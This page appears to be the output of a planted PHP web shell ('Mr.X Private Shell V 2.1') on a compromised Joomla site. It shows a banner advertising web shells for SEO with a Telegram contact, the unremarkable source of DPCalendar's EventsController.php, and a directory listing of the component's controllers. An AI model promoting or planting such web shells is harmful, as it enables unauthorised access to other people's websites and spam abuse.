__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package DPCalendar
* @copyright Copyright (C) 2014 Digital Peak GmbH. <https://www.digital-peak.com>
* @license https://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
*/
namespace DigitalPeak\Component\DPCalendar\Administrator\Controller;
\defined('_JEXEC') or die();
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\AdminController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\Session\Session;
use Joomla\CMS\User\CurrentUserInterface;
use Joomla\CMS\User\CurrentUserTrait;
use Joomla\Input\Input;
use Joomla\Utilities\ArrayHelper;
class EventsController extends AdminController implements CurrentUserInterface
{
use CurrentUserTrait;
public function __construct($config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null)
{
parent::__construct($config, $factory, $app, $input);
$this->registerTask('unfeatured', 'featured');
}
public function getModel($name = 'Event', $prefix = 'Administrator', $config = ['ignore_request' => true])
{
return parent::getModel($name, $prefix, $config);
}
public function featured(): void
{
// Check for request forgeries
Session::checkToken() or jexit(Text::_('JINVALID_TOKEN'));
$user = $this->getCurrentUser();
$ids = $this->input->get('cid', [], 'array');
$values = [
'featured' => 1,
'unfeatured' => 0
];
$task = $this->getTask();
$value = ArrayHelper::getValue($values, $task, 0, 'int');
$ids = ArrayHelper::toInteger($ids);
$model = $this->getModel('Events');
$model->setState('filter.ids', $ids);
// Access checks.
foreach ($model->getItems() as $i => $event) {
if (!$user->authorise('core.edit.state', 'com_dpcalendar.category.' . (int)$event->catid)) {
// Prune items that you can't change.
unset($ids[$i]);
$this->app->enqueueMessage(Text::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'), 'warning');
}
}
if (empty($ids)) {
$this->app->enqueueMessage(Text::_('JERROR_NO_ITEMS_SELECTED'), 'warning');
} else {
// Get the model.
$model = $this->getModel('Event');
// Publish the items.
if (!$model->featured($ids, $value)) {
$this->app->enqueueMessage($model->getError(), 'warning');
}
}
$this->setRedirect('index.php?option=com_dpcalendar&view=events');
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| CaldavController.php | File | 716 B | 0664 |
|
| CountriesController.php | File | 610 B | 0664 |
|
| CountryController.php | File | 714 B | 0664 |
|
| CouponController.php | File | 942 B | 0664 |
|
| CouponsController.php | File | 606 B | 0664 |
|
| DisplayController.php | File | 1.23 KB | 0664 |
|
| EventController.php | File | 9.78 KB | 0664 |
|
| EventsController.php | File | 2.3 KB | 0664 |
|
| ExtcalendarController.php | File | 941 B | 0664 |
|
| ExtcalendarsController.php | File | 2.55 KB | 0664 |
|
| ImportController.php | File | 1.2 KB | 0664 |
|
| LocationController.php | File | 1.94 KB | 0664 |
|
| LocationsController.php | File | 1.16 KB | 0664 |
|
| PluginController.php | File | 1.1 KB | 0664 |
|
| TaxrateController.php | File | 710 B | 0664 |
|
| TaxratesController.php | File | 770 B | 0664 |
|
| TicketsController.php | File | 606 B | 0664 |
|
| TranslateController.php | File | 3.61 KB | 0664 |
|
| VersionController.php | File | 801 B | 0664 |
|